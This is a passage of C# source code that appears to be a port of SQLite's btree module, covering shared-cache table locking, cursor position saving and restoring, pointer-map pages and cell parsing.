0;\n}\n\n/*\n** This function is also used as part of Debug.Assert() statements only. It\n** returns true if there exist one or more cursors open on the table\n** with root page iRoot that do not belong to either connection pBtree\n** or some other connection that has the read-uncommitted flag set.\n**\n** For example, before writing to page iRoot:\n**\n**    Debug.Assert( !hasReadConflicts(pBtree, iRoot) );\n*/\nstatic int hasReadConflicts(Btree pBtree, Pgno iRoot){\nBtCursor p;\nfor(p=pBtree.pBt.pCursor; p!=null; p=p.pNext){\nif( p.pgnoRoot==iRoot\n&& p.pBtree!=pBtree\n&& 0==(p.pBtree.db.flags & SQLITE_ReadUncommitted)\n){\nreturn 1;\n}\n}\nreturn 0;\n}\n#endif    //* #if SQLITE_DEBUG */\n\n/*\n** Query to see if btree handle p may obtain a lock of type eLock\n** (READ_LOCK or WRITE_LOCK) on the table with root-page iTab. Return\n** SQLITE_OK if the lock may be obtained (by calling\n** setSharedCacheTableLock()), or SQLITE_LOCKED if not.\n*/\nstatic int querySharedCacheTableLock(Btree p, Pgno iTab, u8 eLock){\nBtShared pBt = p.pBt;\nBtLock pIter;\n\nDebug.Assert( sqlite3BtreeHoldsMutex(p) );\nDebug.Assert( eLock==READ_LOCK || eLock==WRITE_LOCK );\nDebug.Assert( p.db!=null );\nDebug.Assert( !(p.db.flags&SQLITE_ReadUncommitted)||eLock==WRITE_LOCK||iTab==1 );\n\n/* If requesting a write-lock, then the Btree must have an open write\n** transaction on this file. And, obviously, for this to be so there\n** must be an open write transaction on the file itself.\n*/\nDebug.Assert( eLock==READ_LOCK || (p==pBt.pWriter && p.inTrans==TRANS_WRITE) );\nDebug.Assert( eLock==READ_LOCK || pBt.inTransaction==TRANS_WRITE );\n\n/* This is a no-op if the shared-cache is not enabled */\nif( !p.sharable ){\nreturn SQLITE_OK;\n}\n\n/* If some other connection is holding an exclusive lock, the\n** requested lock may not be obtained.\n*/\nif( pBt.pWriter!=p && pBt.isExclusive ){\nsqlite3ConnectionBlocked(p.db, pBt.pWriter.db);\nreturn SQLITE_LOCKED_SHAREDCACHE;\n}\n\nfor(pIter=pBt.pLock; pIter; pIter=pIter.pNext){\n/* The condition (pIter.eLock!=eLock) in the following if(...)\n** statement is a simplification of:\n**\n**   (eLock==WRITE_LOCK || pIter.eLock==WRITE_LOCK)\n**\n** since we know that if eLock==WRITE_LOCK, then no other connection\n** may hold a WRITE_LOCK on any table in this file (since there can\n** only be a single writer).\n*/\nDebug.Assert( pIter.eLock==READ_LOCK || pIter.eLock==WRITE_LOCK );\nDebug.Assert( eLock==READ_LOCK || pIter.pBtree==p || pIter.eLock==READ_LOCK);\nif( pIter.pBtree!=p && pIter.iTable==iTab && pIter.eLock!=eLock ){\nsqlite3ConnectionBlocked(p.db, pIter.pBtree.db);\nif( eLock==WRITE_LOCK ){\nDebug.Assert( p==pBt.pWriter );\npBt.isPending = 1;\n}\nreturn SQLITE_LOCKED_SHAREDCACHE;\n}\n}\nreturn SQLITE_OK;\n}\n#endif //* !SQLITE_OMIT_SHARED_CACHE */\n\n#if !SQLITE_OMIT_SHARED_CACHE\n/*\n** Add a lock on the table with root-page iTable to the shared-btree used\n** by Btree handle p. Parameter eLock must be either READ_LOCK or\n** WRITE_LOCK.\n**\n** This function assumes the following:\n**\n**   (a) The specified b-tree connection handle is connected to a sharable\n**       b-tree database (one with the BtShared.sharable) flag set, and\n**\n**   (b) No other b-tree connection handle holds a lock that conflicts\n**       with the requested lock (i.e. querySharedCacheTableLock() has\n**       already been called and returned SQLITE_OK).\n**\n** SQLITE_OK is returned if the lock is added successfully. SQLITE_NOMEM\n** is returned if a malloc attempt fails.\n*/\nstatic int setSharedCacheTableLock(Btree p, Pgno iTable, u8 eLock){\nBtShared pBt = p.pBt;\nBtLock pLock = 0;\nBtLock pIter;\n\nDebug.Assert( sqlite3BtreeHoldsMutex(p) );\nDebug.Assert( eLock==READ_LOCK || eLock==WRITE_LOCK );\nDebug.Assert( p.db!=null );\n\n/* A connection with the read-uncommitted flag set will never try to\n** obtain a read-lock using this function. The only read-lock obtained\n** by a connection in read-uncommitted mode is on the sqlite_master\n** table, and that lock is obtained in BtreeBeginTrans().  */\nDebug.Assert( 0==(p.db.flags&SQLITE_ReadUncommitted) || eLock==WRITE_LOCK );\n\n/* This function should only be called on a sharable b-tree after it\n** has been determined that no other b-tree holds a conflicting lock.  */\nDebug.Assert( p.sharable );\nDebug.Assert( SQLITE_OK==querySharedCacheTableLock(p, iTable, eLock) );\n\n/* First search the list for an existing lock on this table. */\nfor(pIter=pBt.pLock; pIter; pIter=pIter.pNext){\nif( pIter.iTable==iTable && pIter.pBtree==p ){\npLock = pIter;\nbreak;\n}\n}\n\n/* If the above search did not find a BtLock struct associating Btree p\n** with table iTable, allocate one and link it into the list.\n*/\nif( !pLock ){\npLock = (BtLock *)sqlite3MallocZero(sizeof(BtLock));\nif( !pLock ){\nreturn SQLITE_NOMEM;\n}\npLock.iTable = iTable;\npLock.pBtree = p;\npLock.pNext = pBt.pLock;\npBt.pLock = pLock;\n}\n\n/* Set the BtLock.eLock variable to the maximum of the current lock\n** and the requested lock. This means if a write-lock was already held\n** and a read-lock requested, we don't incorrectly downgrade the lock.\n*/\nDebug.Assert( WRITE_LOCK>READ_LOCK );\nif( eLock>pLock.eLock ){\npLock.eLock = eLock;\n}\n\nreturn SQLITE_OK;\n}\n#endif //* !SQLITE_OMIT_SHARED_CACHE */\n\n#if !SQLITE_OMIT_SHARED_CACHE\n/*\n** Release all the table locks (locks obtained via calls to\n** the setSharedCacheTableLock() procedure) held by Btree handle p.\n**\n** This function assumes that handle p has an open read or write\n** transaction. If it does not, then the BtShared.isPending variable\n** may be incorrectly cleared.\n*/\nstatic void clearAllSharedCacheTableLocks(Btree p){\nBtShared pBt = p.pBt;\nBtLock **ppIter = &pBt.pLock;\n\nDebug.Assert( sqlite3BtreeHoldsMutex(p) );\nDebug.Assert( p.sharable || 0==*ppIter );\nDebug.Assert( p.inTrans>0 );\n\nwhile( ppIter ){\nBtLock pLock = ppIter;\nDebug.Assert( pBt.isExclusive==null || pBt.pWriter==pLock.pBtree );\nDebug.Assert( pLock.pBtree.inTrans>=pLock.eLock );\nif( pLock.pBtree==p ){\nppIter = pLock.pNext;\nDebug.Assert( pLock.iTable!=1 || pLock==&p.lock );\nif( pLock.iTable!=1 ){\npLock=null;//sqlite3_free(ref pLock);\n}\n}else{\nppIter = &pLock.pNext;\n}\n}\n\nDebug.Assert( pBt.isPending==null || pBt.pWriter );\nif( pBt.pWriter==p ){\npBt.pWriter = 0;\npBt.isExclusive = 0;\npBt.isPending = 0;\n}else if( pBt.nTransaction==2 ){\n/* This function is called when connection p is concluding its\n** transaction. If there currently exists a writer, and p is not\n** that writer, then the number of locks held by connections other\n** than the writer must be about to drop to zero. In this case\n** set the isPending flag to 0.\n**\n** If there is not currently a writer, then BtShared.isPending must\n** be zero already. So this next line is harmless in that case.\n*/\npBt.isPending = 0;\n}\n}\n\n/*\n** This function changes all write-locks held by connection p to read-locks.\n*/\nstatic void downgradeAllSharedCacheTableLocks(Btree p){\nBtShared pBt = p.pBt;\nif( pBt.pWriter==p ){\nBtLock pLock;\npBt.pWriter = 0;\npBt.isExclusive = 0;\npBt.isPending = 0;\nfor(pLock=pBt.pLock; pLock; pLock=pLock.pNext){\nDebug.Assert( pLock.eLock==READ_LOCK || pLock.pBtree==p );\npLock.eLock = READ_LOCK;\n}\n}\n}\n\n#endif //* SQLITE_OMIT_SHARED_CACHE */\n\n    //static void releasePage(MemPage pPage);  /* Forward reference */\n\n    /*\n    ** Verify that the cursor holds a mutex on the BtShared\n    */\n#if !NDEBUG\n    static bool cursorHoldsMutex(BtCursor p)\n    {\n      return sqlite3_mutex_held(p.pBt.mutex);\n    }\n#else\nstatic bool cursorHoldsMutex(BtCursor p) { return true; }\n#endif\n\n\n#if !SQLITE_OMIT_INCRBLOB\n/*\n** Invalidate the overflow page-list cache for cursor pCur, if any.\n*/\nstatic void invalidateOverflowCache(BtCursor pCur){\nDebug.Assert( cursorHoldsMutex(pCur) );\n//sqlite3_free(ref pCur.aOverflow);\npCur.aOverflow = null;\n}\n\n/*\n** Invalidate the overflow page-list cache for all cursors opened\n** on the shared btree structure pBt.\n*/\nstatic void invalidateAllOverflowCache(BtShared pBt){\nBtCursor p;\nDebug.Assert( sqlite3_mutex_held(pBt.mutex) );\nfor(p=pBt.pCursor; p!=null; p=p.pNext){\ninvalidateOverflowCache(p);\n}\n}\n\n/*\n** This function is called before modifying the contents of a table\n** b-tree to invalidate any incrblob cursors that are open on the\n** row or one of the rows being modified.\n**\n** If argument isClearTable is true, then the entire contents of the\n** table is about to be deleted. In this case invalidate all incrblob\n** cursors open on any row within the table with root-page pgnoRoot.\n**\n** Otherwise, if argument isClearTable is false, then the row with\n** rowid iRow is being replaced or deleted. In this case invalidate\n** only those incrblob cursors open on this specific row.\n*/\nstatic void invalidateIncrblobCursors(\nBtree pBtree,          /* The database file to check */\ni64 iRow,               /* The rowid that might be changing */\nint isClearTable        /* True if all rows are being deleted */\n){\nBtCursor p;\nBtShared pBt = pBtree.pBt;\nDebug.Assert( sqlite3BtreeHoldsMutex(pBtree) );\nfor(p=pBt.pCursor; p!=null; p=p.pNext){\nif( p.isIncrblobHandle && (isClearTable || p.info.nKey==iRow) ){\np.eState = CURSOR_INVALID;\n}\n}\n}\n\n#else\n    //#define invalidateOverflowCache(x)\n    static void invalidateOverflowCache(BtCursor pCur) { }\n    //#define invalidateAllOverflowCache(x)\n    static void invalidateAllOverflowCache(BtShared pBt) { }\n    //#define invalidateIncrblobCursors(x,y,z)\n    static void invalidateIncrblobCursors(Btree x, i64 y, int z) { }\n\n#endif\n\n    /*\n** Set bit pgno of the BtShared.pHasContent bitvec. This is called\n** when a page that previously contained data becomes a free-list leaf\n** page.\n**\n** The BtShared.pHasContent bitvec exists to work around an obscure\n** bug caused by the interaction of two useful IO optimizations surrounding\n** free-list leaf pages:\n**\n**   1) When all data is deleted from a page and the page becomes\n**      a free-list leaf page, the page is not written to the database\n**      (as free-list leaf pages contain no meaningful data). Sometimes\n**      such a page is not even journalled (as it will not be modified,\n**      why bother journalling it?).\n**\n**   2) When a free-list leaf page is reused, its content is not read\n**      from the database or written to the journal file (why should it\n**      be, if it is not at all meaningful?).\n**\n** By themselves, these optimizations work fine and provide a handy\n** performance boost to bulk delete or insert operations. However, if\n** a page is moved to the free-list and then reused within the same\n** transaction, a problem comes up. If the page is not journalled when\n** it is moved to the free-list and it is also not journalled when it\n** is extracted from the free-list and reused, then the original data\n** may be lost. In the event of a rollback, it may not be possible\n** to restore the database to its original configuration.\n**\n** The solution is the BtShared.pHasContent bitvec. Whenever a page is\n** moved to become a free-list leaf page, the corresponding bit is\n** set in the bitvec. Whenever a leaf page is extracted from the free-list,\n** optimization 2 above is ommitted if the corresponding bit is already\n** set in BtShared.pHasContent. The contents of the bitvec are cleared\n** at the end of every transaction.\n*/\n    static int btreeSetHasContent(BtShared pBt, Pgno pgno)\n    {\n      int rc = SQLITE_OK;\n      if (null == pBt.pHasContent)\n      {\n        int nPage = 100;\n        sqlite3PagerPagecount(pBt.pPager, ref nPage);\n        /* If sqlite3PagerPagecount() fails there is no harm because the\n        ** nPage variable is unchanged from its default value of 100 */\n        pBt.pHasContent = sqlite3BitvecCreate((u32)nPage);\n        if (null == pBt.pHasContent)\n        {\n          rc = SQLITE_NOMEM;\n        }\n      }\n      if (rc == SQLITE_OK && pgno <= sqlite3BitvecSize(pBt.pHasContent))\n      {\n        rc = sqlite3BitvecSet(pBt.pHasContent, pgno);\n      }\n      return rc;\n    }\n\n    /*\n    ** Query the BtShared.pHasContent vector.\n    **\n    ** This function is called when a free-list leaf page is removed from the\n    ** free-list for reuse. It returns false if it is safe to retrieve the\n    ** page from the pager layer with the 'no-content' flag set. True otherwise.\n    */\n    static bool btreeGetHasContent(BtShared pBt, Pgno pgno)\n    {\n      Bitvec p = pBt.pHasContent;\n      return (p != null && (pgno > sqlite3BitvecSize(p) || sqlite3BitvecTest(p, pgno) != 0));\n    }\n\n    /*\n    ** Clear (destroy) the BtShared.pHasContent bitvec. This should be\n    ** invoked at the conclusion of each write-transaction.\n    */\n    static void btreeClearHasContent(BtShared pBt)\n    {\n      sqlite3BitvecDestroy(ref pBt.pHasContent);\n      pBt.pHasContent = null;\n    }\n\n    /*\n    ** Save the current cursor position in the variables BtCursor.nKey\n    ** and BtCursor.pKey. The cursor's state is set to CURSOR_REQUIRESEEK.\n    **\n    ** The caller must ensure that the cursor is valid (has eState==CURSOR_VALID)\n    ** prior to calling this routine.\n    */\n    static int saveCursorPosition(BtCursor pCur)\n    {\n      int rc;\n\n      Debug.Assert(CURSOR_VALID == pCur.eState);\n      Debug.Assert(null == pCur.pKey);\n      Debug.Assert(cursorHoldsMutex(pCur));\n\n      rc = sqlite3BtreeKeySize(pCur, ref pCur.nKey);\n      Debug.Assert(rc == SQLITE_OK);  /* KeySize() cannot fail */\n\n      /* If this is an intKey table, then the above call to BtreeKeySize()\n      ** stores the integer key in pCur.nKey. In this case this value is\n      ** all that is required. Otherwise, if pCur is not open on an intKey\n      ** table, then malloc space for and store the pCur.nKey bytes of key\n      ** data.\n      */\n      if (0 == pCur.apPage[0].intKey)\n      {\n        byte[] pKey = new byte[pCur.nKey];//void pKey = sqlite3Malloc( (int)pCur.nKey );\n        //if( pKey !=null){\n        rc = sqlite3BtreeKey(pCur, 0, (u32)pCur.nKey, pKey);\n        if (rc == SQLITE_OK)\n        {\n          pCur.pKey = pKey;\n        }\n        //else{\n        //  sqlite3_free(ref pKey);\n        //}\n        //}else{\n        //  rc = SQLITE_NOMEM;\n        //}\n      }\n      Debug.Assert(0 == pCur.apPage[0].intKey || null == pCur.pKey);\n\n      if (rc == SQLITE_OK)\n      {\n        int i;\n        for (i = 0; i <= pCur.iPage; i++)\n        {\n          releasePage(pCur.apPage[i]);\n          pCur.apPage[i] = null;\n        }\n        pCur.iPage = -1;\n        pCur.eState = CURSOR_REQUIRESEEK;\n      }\n\n      invalidateOverflowCache(pCur);\n      return rc;\n    }\n\n    /*\n    ** Save the positions of all cursors except pExcept open on the table\n    ** with root-page iRoot. Usually, this is called just before cursor\n    ** pExcept is used to modify the table (BtreeDelete() or BtreeInsert()).\n    */\n    static int saveAllCursors(BtShared pBt, Pgno iRoot, BtCursor pExcept)\n    {\n      BtCursor p;\n      Debug.Assert(sqlite3_mutex_held(pBt.mutex));\n      Debug.Assert(pExcept == null || pExcept.pBt == pBt);\n      for (p = pBt.pCursor; p != null; p = p.pNext)\n      {\n        if (p != pExcept && (0 == iRoot || p.pgnoRoot == iRoot) &&\n        p.eState == CURSOR_VALID)\n        {\n          int rc = saveCursorPosition(p);\n          if (SQLITE_OK != rc)\n          {\n            return rc;\n          }\n        }\n      }\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Clear the current cursor position.\n    */\n    static void sqlite3BtreeClearCursor(BtCursor pCur)\n    {\n      Debug.Assert(cursorHoldsMutex(pCur));\n      //sqlite3_free(ref pCur.pKey);\n      pCur.pKey = null;\n      pCur.eState = CURSOR_INVALID;\n    }\n\n    /*\n    ** In this version of BtreeMoveto, pKey is a packed index record\n    ** such as is generated by the OP_MakeRecord opcode.  Unpack the\n    ** record and then call BtreeMovetoUnpacked() to do the work.\n    */\n    static int btreeMoveto(\n    BtCursor pCur,     /* Cursor open on the btree to be searched */\n    byte[] pKey,       /* Packed key if the btree is an index */\n    i64 nKey,          /* Integer key for tables.  Size of pKey for indices */\n    int bias,          /* Bias search to the high end */\n    ref int pRes       /* Write search results here */\n    )\n    {\n      int rc;                    /* Status code */\n      UnpackedRecord pIdxKey;   /* Unpacked index key */\n      UnpackedRecord aSpace = new UnpackedRecord();//char aSpace[150]; /* Temp space for pIdxKey - to avoid a malloc */\n\n      if (pKey != null)\n      {\n        Debug.Assert(nKey == (i64)(int)nKey);\n        pIdxKey = sqlite3VdbeRecordUnpack(pCur.pKeyInfo, (int)nKey, pKey,\n        aSpace, 16);//sizeof( aSpace ) );\n        if (pIdxKey == null) return SQLITE_NOMEM;\n      }\n      else\n      {\n        pIdxKey = null;\n      }\n      rc = sqlite3BtreeMovetoUnpacked(pCur, pIdxKey, nKey, bias != 0 ? 1 : 0, ref pRes);\n\n      if (pKey != null)\n      {\n        sqlite3VdbeDeleteUnpackedRecord(pIdxKey);\n      }\n      return rc;\n    }\n\n    /*\n    ** Restore the cursor to the position it was in (or as close to as possible)\n    ** when saveCursorPosition() was called. Note that this call deletes the\n    ** saved position info stored by saveCursorPosition(), so there can be\n    ** at most one effective restoreCursorPosition() call after each\n    ** saveCursorPosition().\n    */\n    static int btreeRestoreCursorPosition(BtCursor pCur)\n    {\n      int rc;\n      Debug.Assert(cursorHoldsMutex(pCur));\n      Debug.Assert(pCur.eState >= CURSOR_REQUIRESEEK);\n      if (pCur.eState == CURSOR_FAULT)\n      {\n        return pCur.skipNext;\n      }\n      pCur.eState = CURSOR_INVALID;\n      rc = btreeMoveto(pCur, pCur.pKey, pCur.nKey, 0, ref pCur.skipNext);\n      if (rc == SQLITE_OK)\n      {\n        //sqlite3_free(ref pCur.pKey);\n        pCur.pKey = null;\n        Debug.Assert(pCur.eState == CURSOR_VALID || pCur.eState == CURSOR_INVALID);\n      }\n      return rc;\n    }\n\n    //#define restoreCursorPosition(p) \\\n    //  (p.eState>=CURSOR_REQUIRESEEK ? \\\n    //         btreeRestoreCursorPosition(p) : \\\n    //         SQLITE_OK)\n    static int restoreCursorPosition(BtCursor pCur)\n    {\n      if ( pCur.eState >= CURSOR_REQUIRESEEK )\n        return btreeRestoreCursorPosition( pCur );\n      else\n        return SQLITE_OK;\n    }\n\n    /*\n    ** Determine whether or not a cursor has moved from the position it\n    ** was last placed at.  Cursors can move when the row they are pointing\n    ** at is deleted out from under them.\n    **\n    ** This routine returns an error code if something goes wrong.  The\n    ** integer pHasMoved is set to one if the cursor has moved and 0 if not.\n    */\n    static int sqlite3BtreeCursorHasMoved(BtCursor pCur, ref int pHasMoved)\n    {\n      int rc;\n\n      rc = restoreCursorPosition(pCur);\n      if (rc != 0)\n      {\n        pHasMoved = 1;\n        return rc;\n      }\n      if (pCur.eState != CURSOR_VALID || pCur.skipNext != 0)\n      {\n        pHasMoved = 1;\n      }\n      else\n      {\n        pHasMoved = 0;\n      }\n      return SQLITE_OK;\n    }\n\n#if !SQLITE_OMIT_AUTOVACUUM\n    /*\n** Given a page number of a regular database page, return the page\n** number for the pointer-map page that contains the entry for the\n** input page number.\n*/\n    static Pgno ptrmapPageno(BtShared pBt, Pgno pgno)\n    {\n      int nPagesPerMapPage;\n      Pgno iPtrMap, ret;\n      Debug.Assert(sqlite3_mutex_held(pBt.mutex));\n      nPagesPerMapPage = (pBt.usableSize / 5) + 1;\n      iPtrMap = (Pgno)((pgno - 2) / nPagesPerMapPage);\n      ret = (Pgno)( iPtrMap * nPagesPerMapPage ) + 2;\n      if (ret == PENDING_BYTE_PAGE(pBt))\n      {\n        ret++;\n      }\n      return ret;\n    }\n\n    /*\n    ** Write an entry into the pointer map.\n    **\n    ** This routine updates the pointer map entry for page number 'key'\n    ** so that it maps to type 'eType' and parent page number 'pgno'.\n    **\n    ** If pRC is initially non-zero (non-SQLITE_OK) then this routine is\n    ** a no-op.  If an error occurs, the appropriate error code is written\n    ** into pRC.\n    */\n    static void ptrmapPut(BtShared pBt, Pgno key, u8 eType, Pgno parent, ref int pRC)\n    {\n      DbPage pDbPage = new PgHdr(); /* The pointer map page */\n      u8[] pPtrmap;                 /* The pointer map data */\n      Pgno iPtrmap;                 /* The pointer map page number */\n      int offset;                   /* Offset in pointer map page */\n      int rc;                       /* Return code from subfunctions */\n\n      if (pRC != 0) return;\n\n      Debug.Assert(sqlite3_mutex_held(pBt.mutex));\n      /* The master-journal page number must never be used as a pointer map page */\n      Debug.Assert(false == PTRMAP_ISPAGE(pBt, PENDING_BYTE_PAGE(pBt)));\n\n      Debug.Assert(pBt.autoVacuum);\n      if (key == 0)\n      {\n#if SQLITE_DEBUG || DEBUG\n        pRC = SQLITE_CORRUPT_BKPT();\n#else\npRC = SQLITE_CORRUPT_BKPT;\n#endif\n        return;\n      }\n      iPtrmap = PTRMAP_PAGENO(pBt, key);\n      rc = sqlite3PagerGet(pBt.pPager, iPtrmap, ref pDbPage);\n      if (rc != SQLITE_OK)\n      {\n        pRC = rc;\n        return;\n      }\n      offset = (int)PTRMAP_PTROFFSET(iPtrmap, key);\n      if (offset < 0)\n      {\n#if SQLITE_DEBUG || DEBUG\n        pRC = SQLITE_CORRUPT_BKPT();\n#else\npRC = SQLITE_CORRUPT_BKPT;\n#endif\n        goto ptrmap_exit;\n      }\n      pPtrmap = sqlite3PagerGetData(pDbPage);\n\n      if (eType != pPtrmap[offset] || sqlite3Get4byte(pPtrmap, offset + 1) != parent)\n      {\n        TRACE(\"PTRMAP_UPDATE: %d->(%d,%d)\\n\", key, eType, parent);\n        pRC = rc = sqlite3PagerWrite(pDbPage);\n        if (rc == SQLITE_OK)\n        {\n          pPtrmap[offset] = eType;\n          sqlite3Put4byte(pPtrmap, offset + 1, parent);\n        }\n      }\n\n    ptrmap_exit:\n      sqlite3PagerUnref(pDbPage);\n    }\n\n    /*\n    ** Read an entry from the pointer map.\n    **\n    ** This routine retrieves the pointer map entry for page 'key', writing\n    ** the type and parent page number to pEType and pPgno respectively.\n    ** An error code is returned if something goes wrong, otherwise SQLITE_OK.\n    */\n    static int ptrmapGet(BtShared pBt, Pgno key, ref u8 pEType, ref Pgno pPgno)\n    {\n      DbPage pDbPage = new PgHdr();/* The pointer map page */\n      int iPtrmap;                 /* Pointer map page index */\n      u8[] pPtrmap;                /* Pointer map page data */\n      int offset;                  /* Offset of entry in pointer map */\n      int rc;\n\n      Debug.Assert(sqlite3_mutex_held(pBt.mutex));\n\n      iPtrmap = (int)PTRMAP_PAGENO(pBt, key);\n      rc = sqlite3PagerGet(pBt.pPager, (u32)iPtrmap, ref pDbPage);\n      if (rc != 0)\n      {\n        return rc;\n      }\n      pPtrmap = sqlite3PagerGetData(pDbPage);\n\n      offset = (int)PTRMAP_PTROFFSET((u32)iPtrmap, key);\n      // Under C# pEType will always exist. No need to test; //\n      //Debug.Assert( pEType != 0 );\n      pEType = pPtrmap[offset];\n      // Under C# pPgno will always exist. No need to test; //\n      //if ( pPgno != 0 )\n      pPgno = sqlite3Get4byte(pPtrmap, offset + 1);\n\n      sqlite3PagerUnref(pDbPage);\n      if (pEType < 1 || pEType > 5)\n#if SQLITE_DEBUG || DEBUG\n        return SQLITE_CORRUPT_BKPT();\n#else\nreturn SQLITE_CORRUPT_BKPT;\n#endif\n      return SQLITE_OK;\n    }\n\n#else //* if defined SQLITE_OMIT_AUTOVACUUM */\n//#define ptrmapPut(w,x,y,z,rc)\n//#define ptrmapGet(w,x,y,z) SQLITE_OK\n//#define ptrmapPutOvflPtr(x, y, rc)\n#endif\n\n    /*\n** Given a btree page and a cell index (0 means the first cell on\n** the page, 1 means the second cell, and so forth) return a pointer\n** to the cell content.\n**\n** This routine works only for pages that do not contain overflow cells.\n*/\n    //#define findCell(P,I) \\\n    //  ((P).aData + ((P).maskPage & get2byte((P).aData[(P).cellOffset+2*(I)])))\n    static int findCell(MemPage pPage, int iCell)\n    {\n      return get2byte(pPage.aData, (pPage).cellOffset + 2 * (iCell));\n    }\n    /*\n    ** This a more complex version of findCell() that works for\n    ** pages that do contain overflow cells.\n    */\n    static int findOverflowCell(MemPage pPage, int iCell)\n    {\n      int i;\n      Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex));\n      for (i = pPage.nOverflow - 1; i >= 0; i--)\n      {\n        int k;\n        _OvflCell pOvfl;\n        pOvfl = pPage.aOvfl[i];\n        k = pOvfl.idx;\n        if (k <= iCell)\n        {\n          if (k == iCell)\n          {\n            //return pOvfl.pCell;\n            return -i - 1; // Negative Offset means overflow cells\n          }\n          iCell--;\n        }\n      }\n      return findCell(pPage, iCell);\n    }\n\n    /*\n    ** Parse a cell content block and fill in the CellInfo structure.  There\n    ** are two versions of this function.  btreeParseCell() takes a\n    ** cell index as the second argument and btreeParseCellPtr()\n    ** takes a pointer to the body of the cell as its second argument.\n    **\n    ** Within this file, the parseCell() macro can be called instead of\n    ** btreeParseCellPtr(). Using some compilers, this will be faster.\n    */\n    //OVERLOADS\n    static void btreeParseCellPtr(\n    MemPage pPage,        /* Page containing the cell */\n    int iCell,            /* Pointer to the cell text. */\n    ref CellInfo pInfo        /* Fill in this structure */\n    )\n    { btreeParseCellPtr(pPage, pPage.aData, iCell, ref pInfo); }\n    static void btreeParseCellPtr(\n    MemPage pPage,        /* Page containing the cell */\n    byte[] pCell,         /* The actual data */\n    ref CellInfo pInfo        /* Fill in this structure */\n    )\n    { btreeParseCellPtr( pPage, pCell, 0, ref pInfo ); }\n    static void btreeParseCellPtr(\n    MemPage pPage,         /* Page containing the cell */\n    u8[] pCell,            /* Pointer to the cell text. */\n    int iCell,             /* Pointer to the cell text. */\n    ref CellInfo pInfo         /* Fill in this structure */\n    )\n    {\n      u16 n;                  /* Number bytes in cell content header */\n      u32 nPayload = 0;           /* Number of bytes of cell payload */\n\n      Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex));\n\n      pInfo.pCell = pCell;\n      pInfo.iCell = iCell;\n      Debug.Assert(pPage.leaf == 0 || pPage.leaf == 1);\n      n = pPage.childPtrSize;\n      Debug.Assert(n == 4 - 4 * pPage.leaf);\n      if (pPage.intKey != 0)\n      {\n        if (pPage.hasData != 0)\n        {\n          n += (u16)getVarint32(pCell, iCell + n, ref nPayload);\n        }\n        else\n        {\n          nPayload = 0;\n        }\n        n += (u16)getVarint(pCell, iCell + n, ref pInfo.nKey);\n        pInfo.nData = nPayload;\n      }\n      else\n      {\n        pInfo.nData = 0;\n        n += (u16)getVarint32(pCell, iCell + n, ref nPayload);\n        pInfo.nKey = nPayload;\n      }\n      pInfo.nPayload = nPayload;\n      pInfo.nHeader = n;\n      testcase(nPayload == pPage.maxLocal);\n      testcase(nPayload == pPage.maxLocal + 1);\n      if (likely(nPayload <= pPage.maxLocal))\n      {\n        /* This is the (easy) common case where the entire payload fits\n        ** on the local page.  No overflow is required.\n        */\n        int nSize;          /* Total size of cell content in bytes */\n        nSize = (int)nPayload + n;\n        pInfo.nLocal = (u16)nPayload;\n        pInfo.iOverflow = 0;\n        if ((nSize & ~3) == 0)\n        {\n          nSize = 4;        /* Minimum cell size is 4 */\n        }\n        pInfo.nSize = (u16)nSize;\n      }\n      else\n      {\n        /* If the payload will not fit completely on the local page, we have\n        ** to decide how much to store locally and how much to spill onto\n        ** overflow pages.  The strategy is to minimize the amount of unused\n        ** space on overflow pages while keeping the amount of local storage\n        ** in between minLocal and maxLocal.\n        **\n        ** Warning:  changing the way overflow payload is distributed in any\n        ** way will result in an incompatible file format.\n        */\n        int minLocal;  /* Minimum amount of payload held locally */\n        int maxLocal;  /* Maximum amount of payload held locally */\n        int surplus;   /* Overflow payload available for local storage */\n\n        minLocal = pPage.minLocal;\n        maxLocal = pPage.maxLocal;\n        surplus = (int)(minLocal + (nPayload - minLocal) % (pPage.pBt.usableSize - 4));\n        testcase(surplus == maxLocal);\n        testcase(surplus == maxLocal + 1);\n        if (surplus <= maxLocal)\n        {\n          pInfo.nLocal = (u16)surplus;\n        }\n        else\n        {\n          pInfo.nLocal = (u16)minLocal;\n        }\n        pInfo.iOverflow = (u16)(pInfo.nLocal + n);\n        pInfo.nSize = (u16)(pInfo.iOverflow + 4);\n      }\n    }\n    //#define parseCell(pPage, iCell, pInfo) \\\n    //  btreeParseCellPtr((pPage), findCell((pPage), (iCell)), (pInfo))\n    static void parseCell( MemPage pPage, int iCell, ref CellInfo pInfo )\n    {\n      btreeParseCellPtr( ( pPage ), findCell( ( pPage ), ( iCell ) ), ref ( pInfo ) );\n    }\n\n    static void btreeParseCell(\n    MemPage pPage,         /* Page containing the cell */\n    int iCell,              /* The cell index.  First cell is 0 */\n    ref CellInfo pInfo         /* Fill in this structure */\n    )\n    {\n      parseCell( pPage, iCell, ref pInfo );\n    }\n\n    /*\n    ** Compute the total number of bytes that a Cell needs in the cell\n    ** data area of the btree-page.  The return number includes the cell\n    ** data header and the local payload, but not any overflow page or\n    ** the space used by the cell pointer.\n    */\n    // Alternative form for C#\n    static u16 cellSizePtr(MemPage pPage, int iCell)\n    {\n      CellInfo info = new CellInfo();\n      byte[] pCell = new byte[13];// Minimum Size = (2 bytes of Header  or (4) Child Pointer) + (maximum of) 9 bytes data\n      if (iCell < 0)// Overflow Cell\n        Buffer.BlockCopy(pPage.aOvfl[-(iCell + 1)].pCell, 0, pCell, 0, pCell.Length < pPage.aOvfl[-(iCell + 1)].pCell.Length ? pCell.Length : pPage.aOvfl[-(iCell + 1)].pCell.Length);\n      else if (iCell >= pPage.aData.Length + 1 - pCell.Length)\n        Buffer.BlockCopy(pPage.aData, iCell, pCell, 0, pPage.aData.Length - iCell);\n      else\n        Buffer.BlockCopy(pPage.aData, iCell, pCell, 0, pCell.Length);\n      btreeParseCellPtr( pPage, pCell, ref info );\n      return info.nSize;\n    }\n\n    // Alternative form for C#\n    static u16 cellSizePtr(MemPage pPage, byte[] pCell, int offset)\n    {\n      CellInfo info = new CellInfo();\n      byte[] pTemp = new byte[pCell.Length];\n      Buffer.BlockCopy(pCell, offset, pTemp, 0, pCell.Length - offset);\n      btreeParseCellPtr( pPage, pTemp, ref info );\n      return info.nSize;\n    }\n\n    static u16 cellSizePtr(MemPage pPage, u8[] pCell)\n    {\n      int _pIter = pPage.childPtrSize; //u8 pIter = &pCell[pPage.childPtrSize];\n      u32 nSize = 0;\n\n#if SQLITE_DEBUG || DEBUG\n      /* The value returned by this 